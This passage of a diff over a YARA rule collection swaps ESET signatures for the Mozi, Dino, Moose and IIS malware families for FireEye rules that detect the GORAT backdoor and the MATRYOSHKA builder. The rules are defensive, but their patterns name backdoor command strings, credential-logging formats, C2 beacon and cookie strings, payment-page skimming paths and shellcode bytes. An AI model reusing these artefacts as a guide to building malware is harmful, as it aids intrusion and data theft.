+		logic_hash = "ad954f9922ab564d68cb4515b080f6ee69476a8d87f0038e2ae4c222f0e182d7"
 		score = 75
-		quality = 80
-		tags = ""
-		license = "BSD 2-Clause"
-		version = "1"
+		quality = 73
+		tags = "FILE"
+		rev = 4
 
 	strings:
-		$ = "user: %.128s host: %.128s port %05d user: %.128s password: %.128s"
+		$typelibguid = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii nocase wide
 
 	condition:
-		any of them
+		uint16(0)==0x5A4D and $typelibguid
 }
-rule ESET_Mozi_Killswitch : FILE
+import "pe"
+
+rule FIREEYE_RT_APT_Backdoor_Win_GORAT_4 : FILE
 {
 	meta:
-		description = "Mozi botnet kill switch"
-		author = "Ivan Besina"
-		id = "e3d34ae0-de06-5ff4-b44b-44d264b6dd29"
-		date = "2023-09-29"
-		modified = "2023-10-31"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/mozi/mozi.yar#L32-L51"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "90eaed2f7f5595b145b2678a46ef6179082192215369fa9235024b0ce1574a49"
+		description = "Verifies that the sample is a Windows PE that is less than 10MB in size and exports numerous functions that are known to be exported by the Gorat implant. This is done in an effort to provide detection for packed samples that may not have other strings but will need to replicate exports to maintain functionality."
+		author = "FireEye"
+		id = "fa3bcaad-c210-5b9c-8567-fe85b8e78055"
+		date = "2021-03-03"
+		modified = "2021-03-03"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_4.yar#L5-L16"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "f59095f0ab15f26a1ead7eed8cdb4902"
+		logic_hash = "ec201614cb91fae9d7c89febfa22dfd6ba7f353e0eeb0b2fec6c8d887992e79e"
 		score = 75
-		quality = 80
+		quality = 25
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 8
 
 	strings:
-		$iptables1 = "iptables -I INPUT  -p tcp --destination-port 7547 -j DROP"
-		$iptables2 = "iptables -I OUTPUT -p tcp --sport 30005 -j DROP"
-		$haha = "/haha"
-		$networks = "/usr/networks"
+		$mz = "MZ"
 
 	condition:
-		all of them and filesize <500KB
+		$mz at 0 and uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and filesize <10MB and pe.exports("MemoryCallEntryPoint") and pe.exports("MemoryDefaultAlloc") and pe.exports("MemoryDefaultFree") and pe.exports("MemoryDefaultFreeLibrary") and pe.exports("MemoryDefaultGetProcAddress") and pe.exports("MemoryDefaultLoadLibrary") and pe.exports("MemoryFindResource") and pe.exports("MemoryFindResourceEx") and pe.exports("MemoryFreeLibrary") and pe.exports("MemoryGetProcAddress") and pe.exports("MemoryLoadLibrary") and pe.exports("MemoryLoadLibraryEx") and pe.exports("MemoryLoadResource") and pe.exports("MemoryLoadString") and pe.exports("MemoryLoadStringEx") and pe.exports("MemorySizeofResource") and pe.exports("callback") and pe.exports("crosscall2") and pe.exports("crosscall_386")
 }
-rule ESET_Dino
+rule FIREEYE_RT_Trojan_MSIL_GORAT_Module_Powershell_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "77d0a039-f60c-59ea-bad6-5b4b630007bb"
-		date = "2015-07-14"
-		modified = "2015-08-17"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/animalfarm/animalfarm.yar#L73-L96"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "898e527eb8b05050135dee7cbe974100710a1a3a6a5cb8eb03563ee1c0aca01f"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'RedFlare - Module - PowerShell' project."
+		author = "FireEye"
+		id = "b0fba130-9cd9-5b7f-a806-9ff8099f5731"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/Trojan_MSIL_GORAT_Module_PowerShell_1.yar#L4-L16"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "e596bc0316a4ef85f04c2683ebc7c94bf9b831843232c33e62c84991e4caeb97"
 		score = 75
-		quality = 80
-		tags = ""
-		Author = "Joan Calvet"
-		Description = "Dino backdoor"
-		Contact = "github@eset.com"
-		License = "BSD 2-Clause"
+		quality = 71
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$ = "PsmIsANiceM0du1eWith0SugarInsideA"
-		$ = "destroyPSM"
-		$ = "FM_PENDING_DOWN_%X"
-		$ = "%s was canceled after %d try (reached MaxTry parameter)"
-		$ = "you forgot value name"
-		$ = "wakeup successfully scheduled in %d minutes"
-		$ = "BD started at %s"
-		$ = "decyphering failed on bd"
+		$typelibguid0 = "38d89034-2dd9-4367-8a6e-5409827a243a" ascii nocase wide
+		$typelibguid1 = "845ee9dc-97c9-4c48-834e-dc31ee007c25" ascii nocase wide
 
 	condition:
-		any of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule ESET_Moose_1
+rule FIREEYE_RT_APT_Backdoor_Win_GORAT_3 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "4d228de6-ddbf-57c0-a330-5840c4d40dfc"
-		date = "2015-04-21"
-		modified = "2016-11-01"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/moose/linux-moose.yar#L41-L76"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "8bedac80a1f754ce56294ba9786b62a002aacd074f756724401efc61def127e6"
+		description = "This rule uses the same logic as FE_APT_Trojan_Win_GORAT_1_FEBeta with the addition of one check, to look for strings that are known to be in the Gorat implant when a certain cleaning script is not run against it."
+		author = "FireEye"
+		id = "94c195b5-b8e8-56a7-bc11-dbbe2f969b06"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_3.yar#L4-L39"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "995120b35db9d2f36d7d0ae0bfc9c10d"
+		logic_hash = "592745e9c67f7adf0cd48975ed1497211d8efeff29b52be1e2d082b9a648bb57"
 		score = 75
-		quality = 30
-		tags = ""
-		Author = "Thomas Dupuy"
-		Description = "Linux/Moose malware"
-		Contact = "github@eset.com"
-		License = "BSD 2-Clause"
+		quality = 28
+		tags = "FILE"
+		rev = 5
 
 	strings:
-		$s0 = "Status: OK"
-		$s1 = "--scrypt"
-		$s2 = "stratum+tcp://"
-		$s3 = "cmd.so"
-		$s4 = "/Challenge"
-		$s7 = "processor"
-		$s9 = "cpu model"
-		$s21 = "password is wrong"
-		$s22 = "password:"
-		$s23 = "uthentication failed"
-		$s24 = "sh"
-		$s25 = "ps"
-		$s26 = "echo -n -e "
-		$s27 = "chmod"
-		$s28 = "elan2"
-		$s29 = "elan3"
-		$s30 = "chmod: not found"
-		$s31 = "cat /proc/cpuinfo"
-		$s32 = "/proc/%s/cmdline"
-		$s33 = "kill %s"
+		$dirty1 = "fireeye" ascii nocase wide
+		$dirty2 = "kulinacs" ascii nocase wide
+		$dirty3 = "RedFlare" ascii nocase wide
+		$dirty4 = "gorat" ascii nocase wide
+		$dirty5 = "flare" ascii nocase wide
+		$go1 = "go.buildid" ascii wide
+		$go2 = "Go build ID:" ascii wide
+		$json1 = "json:\"pid\"" ascii wide
+		$json2 = "json:\"key\"" ascii wide
+		$json3 = "json:\"agent_time\"" ascii wide
+		$json4 = "json:\"rid\"" ascii wide
+		$json5 = "json:\"ports\"" ascii wide
+		$json6 = "json:\"agent_platform\"" ascii wide
+		$rat = "rat" ascii wide
+		$str1 = "handleCommand" ascii wide
+		$str2 = "sendBeacon" ascii wide
+		$str3 = "rat.AgentVersion" ascii wide
+		$str4 = "rat.Core" ascii wide
+		$str5 = "rat/log" ascii wide
+		$str6 = "rat/comms" ascii wide
+		$str7 = "rat/modules" ascii wide
+		$str8 = "murica" ascii wide
+		$str9 = "master secret" ascii wide
+		$str10 = "TaskID" ascii wide
+		$str11 = "rat.New" ascii wide
 
 	condition:
-		ESET_Is_Elf_PRIVATE and all of them
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and filesize <10MB and all of ($go*) and all of ($json*) and all of ($str*) and #rat>1000 and any of ($dirty*)
 }
-rule ESET_Moose_2
+rule FIREEYE_RT_APT_Backdoor_Win_GORAT_2 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "74372984-dace-5665-a5d0-39b8d1002fa1"
-		date = "2016-10-02"
-		modified = "2016-11-01"
-		reference = "http://www.welivesecurity.com/2016/11/02/linuxmoose-still-breathing/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/moose/linux-moose.yar#L78-L110"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "3f50d2d81d4c27e44d93804adcf93971017767ed0e020447cdb343931c2fbc43"
+		description = "Verifies that the sample is a Windows PE that is less than 10MB in size and has the Go build ID strings. Then checks for various strings known to be in the Gorat implant including strings used in C2 json, names of methods, and the unique string 'murica' used in C2 comms. A check is done to ensure the string 'rat' appears in the binary over 1000 times as it is the name of the project used by the implant and is present well over 2000 times."
+		author = "FireEye"
+		id = "e2c47711-d088-5cb4-8d21-f8199a865a28"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_2.yar#L4-L34"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "f59095f0ab15f26a1ead7eed8cdb4902"
+		logic_hash = "8efc904498386d89879766a5021148a250f639bc328df12a34cfc8d620df6f6c"
 		score = 75
-		quality = 80
-		tags = ""
-		Author = "Thomas Dupuy"
-		Description = "Linux/Moose malware active since September 2015"
-		Contact = "github@eset.com"
-		License = "BSD 2-Clause"
+		quality = 50
+		tags = "FILE"
+		rev = 7
 
 	strings:
-		$s1 = "Modules are loaded"
-		$s2 = "--scrypt"
-		$s3 = "http://"
-		$s4 = "https://"
-		$s5 = "processor "
-		$s6 = "cpu model "
-		$s7 = "Host: www.challpok.cn"
-		$s8 = "Cookie: PHPSESSID=%s; nhash=%s; chash=%s"
-		$s9 = "fail!"
-		$s10 = "H3lL0WoRlD"
-		$s11 = "crondd"
-		$s12 = "cat /proc/cpuinfo"
-		$s13 = "Set-Cookie: PHPSESSID="
-		$s14 = "Set-Cookie: LP="
-		$s15 = "Set-Cookie: WL="
-		$s16 = "Set-Cookie: CP="
-		$s17 = "Loading modules..."
-		$s18 = "-nobg"
+		$go1 = "go.buildid" ascii wide
+		$go2 = "Go build ID:" ascii wide
+		$json1 = "json:\"pid\"" ascii wide
+		$json2 = "json:\"key\"" ascii wide
+		$json3 = "json:\"agent_time\"" ascii wide
+		$json4 = "json:\"rid\"" ascii wide
+		$json5 = "json:\"ports\"" ascii wide
+		$json6 = "json:\"agent_platform\"" ascii wide
+		$rat = "rat" ascii wide
+		$str1 = "handleCommand" ascii wide
+		$str2 = "sendBeacon" ascii wide
+		$str3 = "rat.AgentVersion" ascii wide
+		$str4 = "rat.Core" ascii wide
+		$str5 = "rat/log" ascii wide
+		$str6 = "rat/comms" ascii wide
+		$str7 = "rat/modules" ascii wide
+		$str8 = "murica" ascii wide
+		$str9 = "master secret" ascii wide
+		$str10 = "TaskID" ascii wide
+		$str11 = "rat.New" ascii wide
+
+	condition:
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and filesize <10MB and all of ($go*) and all of ($json*) and all of ($str*) and #rat>1000
+}
+rule FIREEYE_RT_APT_Backdoor_Macos_GORAT_1 : FILE
+{
+	meta:
+		description = "This rule is looking for specific strings associated with network activity found within the MacOS generated variant of GORAT"
+		author = "FireEye"
+		id = "4646eadb-7acf-582f-9ad6-00f012ceed8a"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_MacOS_GORAT_1.yar#L4-L19"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "68acf11f5e456744262ff31beae58526"
+		logic_hash = "2df5f87d44968670511880d21ad184779d0561c7c426a5d6426bcefd0904a9b7"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		rev = 3
+
+	strings:
+		$s1 = "SID1=%s" ascii wide
+		$s2 = "http/http.dylib" ascii wide
+		$s3 = "Mozilla/" ascii wide
+		$s4 = "User-Agent" ascii wide
+		$s5 = "Cookie" ascii wide
 
 	condition:
-		ESET_Is_Elf_PRIVATE and 5 of them
+		(( uint32(0)==0xBEBAFECA) or ( uint32(0)==0xFEEDFACE) or ( uint32(0)==0xFEEDFACF) or ( uint32(0)==0xCEFAEDFE)) and all of them
 }
-import "pe"
-
-rule ESET_IIS_Group02
+rule FIREEYE_RT_APT_Backdoor_Win_GORAT_1 : FILE
 {
 	meta:
-		description = "Detects Group 2 native IIS malware family"
-		author = "ESET Research"
-		id = "945e3748-1072-55f3-abaa-903dfc250294"
-		date = "2021-08-04"
-		modified = "2021-08-04"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/badiis/badiis.yar#L134-L155"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "3fa2b8fed3c580f446b55412a920a5cfed2317b06aa93d059e9f89fdbec8f683"
+		description = "This detects if a sample is less than 50KB and has a number of strings found in the Gorat shellcode (stage0 loader). The loader contains an embedded DLL (stage0.dll) that contains a number of unique strings. The 'Cookie' string found in this loader is important as this cookie is needed by the C2 server to download the Gorat implant (stage1 payload)."
+		author = "FireEye"
+		id = "5ac84cf1-49fb-533d-b211-b1a92239063b"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_1.yar#L4-L23"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "66cdaa156e4d372cfa3dea0137850d20"
+		logic_hash = "f6a0a923f64375e7ffdc080aec41db19a9e162405f1290ed0bbcce5a342bdadb"
 		score = 75
-		quality = 76
-		tags = ""
-		license = "BSD 2-Clause"
-		version = "1"
+		quality = 75
+		tags = "FILE"
+		rev = 4
 
 	strings:
-		$s1 = "HttpModule.pdb" ascii wide
-		$s2 = "([\\w+%]+)=([^&]*)"
-		$s3 = "([\\w+%]+)=([^!]*)"
-		$s4 = "cmd.exe"
-		$s5 = "C:\\Users\\Iso\\Documents\\Visual Studio 2013\\Projects\\IIS 5\\x64\\Release\\Vi.pdb" ascii wide
-		$s6 = "AVRSAFunction"
+		$s1 = "httpComms.dll" ascii wide
+		$s2 = "Cookie: SID1=%s" ascii wide
+		$s3 = "Global\\" ascii wide
+		$s4 = "stage0.dll" ascii wide
+		$s5 = "runCommand" ascii wide
+		$s6 = "getData" ascii wide
+		$s7 = "initialize" ascii wide
+		$s8 = "Windows NT %d.%d;" ascii wide
+		$s9 = "!This program cannot be run in DOS mode." ascii wide
 
 	condition:
-		ESET_IIS_Native_Module_PRIVATE and 3 of ($s*)
+		filesize <50KB and all of them
 }
-import "pe"
-
-rule ESET_IIS_Group03
+rule FIREEYE_RT_APT_Backdoor_Win_Gorat_Memory
 {
 	meta:
-		description = "Detects Group 3 native IIS malware family"
-		author = "ESET Research"
-		id = "9caf9b3e-611e-5e0e-a7ee-9e7515679022"
-		date = "2021-08-04"
-		modified = "2021-08-04"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/badiis/badiis.yar#L157-L176"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "d811c2ac610780bf968e86e8fd302cffc9434902e547399d06fdeb30d1719f51"
+		description = "Identifies GoRat malware in memory based on strings."
+		author = "FireEye"
+		id = "16fb1db7-711c-5d8d-9203-738c94f253fe"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GoRat_Memory.yar#L4-L27"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "3b926b5762e13ceec7ac3a61e85c93bb"
+		logic_hash = "88272e59325d106f96d6b6f1d57daf968823c1e760067dee0334c66c521ce8c2"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = ""
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 1
 
 	strings:
-		$s1 = "IIS-Backdoor.dll"
-		$s2 = "CryptStringToBinaryA"
-		$s3 = "CreateProcessA"
-		$s4 = "X-Cookie"
+		$murica = "murica" fullword
+		$rat1 = "rat/modules/socks.(*HTTPProxyClient).beacon" fullword
+		$rat2 = "rat.(*Core).generateBeacon" fullword
+		$rat3 = "rat.gJitter" fullword
+		$rat4 = "rat/comms.(*protectedChannel).SendCmdResponse" fullword
+		$rat5 = "rat/modules/filemgmt.(*acquire).NewCommandExecution" fullword
+		$rat6 = "rat/modules/latlisten.(*latlistensrv).handleCmd" fullword
+		$rat7 = "rat/modules/netsweeper.(*netsweeperRunner).runSweep" fullword
+		$rat8 = "rat/modules/netsweeper.(*Pinger).listen" fullword
+		$rat9 = "rat/modules/socks.(*HTTPProxyClient).beacon" fullword
+		$rat10 = "rat/platforms/win/dyloader.(*memoryLoader).ExecutePluginFunction" fullword
+		$rat11 = "rat/platforms/win/modules/namedpipe.(*dummy).Open" fullword
+		$winblows = "rat/platforms/win.(*winblows).GetStage" fullword
 
 	condition:
-		ESET_IIS_Native_Module_PRIVATE and 3 of ($s*)
+		$winblows or #murica>10 or 3 of ($rat*)
 }
-import "pe"
-
-rule ESET_IIS_Group04_Rgdoor
+rule FIREEYE_RT_Trojan_MSIL_GORAT_Plugin_DOTNET_1 : FILE
 {
 	meta:
-		description = "Detects Group 4 native IIS malware family (RGDoor)"
-		author = "ESET Research"
-		id = "64a0e664-a4d9-555b-a11b-5f7d9d0678b1"
-		date = "2021-08-04"
-		modified = "2021-08-04"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/badiis/badiis.yar#L178-L199"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "be615dc0cc8bf0fd52cc5a88a3759c1cb1cd18703de74d16f5cce3eabccf91c6"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'RedFlare - Plugin - .NET' project."
+		author = "FireEye"
+		id = "faa73d64-4bb1-5c06-a3a5-1f1aa99ea932"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/Trojan_MSIL_GORAT_Plugin_DOTNET_1.yar#L4-L16"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "e979822273c6d1ccdfebd341c9e2cb1040fe34a04e8b41c024885063fd946ad5"
 		score = 75
-		quality = 80
-		tags = ""
-		license = "BSD 2-Clause"
-		version = "1"
+		quality = 71
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$i1 = "RGSESSIONID="
-		$s2 = "upload$"
-		$s3 = "download$"
-		$s4 = "cmd$"
-		$s5 = "cmd.exe"
+		$typelibguid0 = "cd9407d0-fc8d-41ed-832d-da94daa3e064" ascii nocase wide
+		$typelibguid1 = "fc3daedf-1d01-4490-8032-b978079d8c2d" ascii nocase wide
 
 	condition:
-		ESET_IIS_Native_Module_PRIVATE and ($i1 or all of ($s*))
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-import "pe"
-
-rule ESET_IIS_Group05_Iistealer
+rule FIREEYE_RT_APT_Backdoor_Win_GORAT_5 : FILE
 {
 	meta:
-		description = "Detects Group 5 native IIS malware family (IIStealer)"
-		author = "ESET Research"
-		id = "598ec6b2-0349-5da7-acad-72ef2468b927"
-		date = "2021-08-04"
-		modified = "2021-08-04"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/badiis/badiis.yar#L201-L232"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "5dff445121fda59df805d6fcb5db3f8f8e52a6e63e2da2a6875f8c9ad9cafc72"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "73102bd2-7b94-5c7b-b9a4-cfc9cf5e3212"
+		date = "2020-12-02"
+		date = "2020-12-02"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_5.yar#L4-L23"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "cdf58a48757010d9891c62940c439adb, a107850eb20a4bb3cc59dbd6861eaf0f"
+		logic_hash = "67f85fb3bedfd18a1226c92318f387be3c7ff9566ca2d554c49cf62389482552"
 		score = 75
-		quality = 80
-		tags = ""
-		license = "BSD 2-Clause"
-		version = "1"
+		quality = 75
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$s1 = "tojLrGzFMbcDTKcH" ascii wide
-		$s2 = "4vUOj3IutgtrpVwh" ascii wide
-		$s3 = "SoUnRCxgREXMu9bM" ascii wide
-		$s4 = "9Zr1Z78OkgaXj1Xr" ascii wide
-		$s5 = "cache.txt" ascii wide
-		$s6 = "/checkout/checkout.aspx" ascii wide
-		$s7 = "/checkout/Payment.aspx" ascii wide
-		$s8 = "/privacy.aspx"
-		$s9 = "X-IIS-Data"
-		$s10 = "POST"
-		$s11 = {C7 ?? CF 2F 00 63 00 C7 ?? D3 68 00 65 00 C7 ?? D7 63 00 6B 00 C7 ?? DB 6F 00 75 00 C7 ?? DF 74 00 2F 00 C7 ?? E3 63 00 68 00 C7 ?? E7 65 00 63 00 C7 ?? EB 6B 00 6F 00 C7 ?? EF 75 00 74 00 C7 ?? F3 2E 00 61 00 C7 ?? F7 73 00 70 00 C7 ?? FB 78 00 00 00}
-		$s12 = {C7 ?? AF 2F 00 70 00 C7 ?? B3 72 00 69 00 C7 ?? B7 76 00 61 00 C7 ?? BB 63 00 79 00 C7 ?? BF 2E 00 61 00 C7 ?? C3 73 00 70 00 C7 ?? C7 78 00 00 00}
+		$1 = "comms.BeaconData" fullword
+		$2 = "comms.CommandResponse" fullword
+		$3 = "rat.BaseChannel" fullword
+		$4 = "rat.Config" fullword
+		$5 = "rat.Core" fullword
+		$6 = "platforms.AgentPlatform" fullword
+		$7 = "GetHostID" fullword
+		$8 = "/rat/cmd/gorat_shared/dllmain.go" fullword
 
 	condition:
-		ESET_IIS_Native_Module_PRIVATE and 3 of ($s*)
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule ESET_IIS_Group06_ISN
+rule FIREEYE_RT_APT_Builder_Win64_MATRYOSHKA_1 : FILE
 {
 	meta:
-		description = "Detects Group 6 native IIS malware family (ISN)"
-		author = "ESET Research"
-		id = "1f68fc42-61a3-5a7d-9daa-31ae3b561837"
-		date = "2021-08-04"
-		modified = "2021-08-04"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/badiis/badiis.yar#L234-L259"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "2f59034a642a9b92fc88922433cd5923be02332159cba5e16d99d9523ed43205"
+		description = "matryoshka_pe_to_shellcode.rs"
+		author = "FireEye"
+		id = "0afcf13e-5cd3-5c1c-897e-b6d0c283ab0f"
+		date = "2020-12-02"
+		date = "2020-12-02"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Builder_Win64_MATRYOSHKA_1.yar#L4-L20"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "8d949c34def898f0f32544e43117c057"
+		logic_hash = "b370d7dea44bccc92fc8dbd4ea0ee9bec523820108bf8bc67acb17ebf9835f74"
 		score = 75
-		quality = 80
-		tags = ""
-		license = "BSD 2-Clause"
-		version = "1"
+		quality = 75
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$s1 = "isn7 config reloaded"
-		$s2 = "isn7 config NOT reloaded, not found or empty"
-		$s3 = "isn7 log deleted"
-		$s4 = "isn7 log not deleted, ERROR 0x%X"
-		$s5 = "isn7 log NOT found"
-		$s6 = "isn_reloadconfig"
-		$s7 = "D:\\soft\\Programming\\C++\\projects\\isapi\\isn7"
-		$s8 = "get POST failed %d"
-		$s9 = "isn7.dll"
+		$sb1 = { 4D 5A 45 52 [0-32] E8 [0-32] 00 00 00 00 [0-32] 5B 48 83 EB 09 53 48 81 [0-32] C3 [0-32] FF D3 [0-32] C3 }
+		$ss1 = "\x00Stub Size: "
+		$ss2 = "\x00Executable Size: "
+		$ss3 = "\x00[+] Writing out to file"
 
 	condition:
-		ESET_IIS_Native_Module_PRIVATE and 3 of ($s*)
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
 }
-import "pe"
-
-rule ESET_IIS_Group07_Iispy
+rule FIREEYE_RT_APT_Builder_PY_MATRYOSHKA_1
 {
 	meta:
-		description = "Detects Group 7 native IIS malware family (IISpy)"
-		author = "ESET Research"
-		id = "64ed0189-a0be-5592-b9c6-1622700a7ed7"
-		date = "2021-08-04"
-		modified = "2021-08-04"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/badiis/badiis.yar#L261-L296"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "ec5db5f36d06f9b0bdfe598fc72431da35afc1473dcc29f437a0f48ea9835a03"
+		description = "No description has been set in the source file - FireEye-RT"
